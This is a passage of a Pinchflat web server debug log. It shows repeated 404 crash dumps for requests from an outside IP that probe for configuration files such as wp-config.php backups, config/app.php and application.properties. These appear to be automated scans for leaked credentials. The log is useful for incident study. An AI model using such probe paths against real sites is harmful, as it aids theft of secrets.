s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:55.045 [debug] QUERY OK source="settings" db=0.0ms idle=269.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:55.045 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:55.045 [error] #PID<0.9688.0> running PinchflatWeb.Endpoint (connection #PID<0.9687.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /wp-config.php.txt ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9687.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.txt", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50598}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9688.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/wp-config.php.txt", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBMKFgLcz0D8AAcoC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9687.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.txt", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50598}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9687.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.txt", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50598}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9688.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/wp-config.php.txt", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-req (truncated) 15:21:55.286 [info] GET /wp-config.php~ 15:21:55.286 [debug] QUERY OK source="settings" db=0.1ms idle=510.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:55.286 [debug] QUERY OK source="settings" db=0.0ms idle=481.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:55.286 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:55.286 [error] #PID<0.9690.0> running PinchflatWeb.Endpoint (connection #PID<0.9689.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /wp-config.php~ ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9689.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php~", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50600}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9690.0>, params: %{}, path_info: ["wp-config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/wp-config.php~", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBNDsAWOZDBkAAcpC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9689.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php~", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50600}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9689.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php~", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50600}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9690.0>, params: %{}, path_info: ["wp-config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/wp-config.php~", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBNDsAWOZDBkAAcpC"} (truncated) 15:21:55.524 [info] GET /config/app.php 15:21:55.524 [debug] QUERY OK source="settings" db=0.0ms idle=479.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:55.524 [debug] QUERY OK source="settings" db=0.0ms idle=479.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:55.524 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:55.524 [error] #PID<0.9692.0> running PinchflatWeb.Endpoint (connection #PID<0.9691.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /config/app.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/app (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9691.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/app.php", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50616}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9692.0>, params: %{}, path_info: ["config", "app"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/config/app.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBN8YjOrxJqsAAcqC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9691.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/app.php", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50616}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/app (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9691.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/app.php", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50616}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9692.0>, params: %{}, path_info: ["config", "app"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/config/app.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBN8YjOrxJ (truncated) 15:21:55.765 [info] GET /application.properties 15:21:55.765 [debug] QUERY OK source="settings" db=0.0ms idle=478.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:55.765 [debug] QUERY OK source="settings" db=0.0ms idle=478.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:55.765 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:55.765 [error] #PID<0.9694.0> running PinchflatWeb.Endpoint (connection #PID<0.9693.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /application.properties ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /application (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9693.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/application.properties", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50626}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9694.0>, params: %{}, path_info: ["application"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/application.properties", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBO1zuQiWdnQAAcrC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9693.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/application.properties", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50626}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /application (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9693.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/application.properties", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50626}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9694.0>, params: %{}, path_info: ["application"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 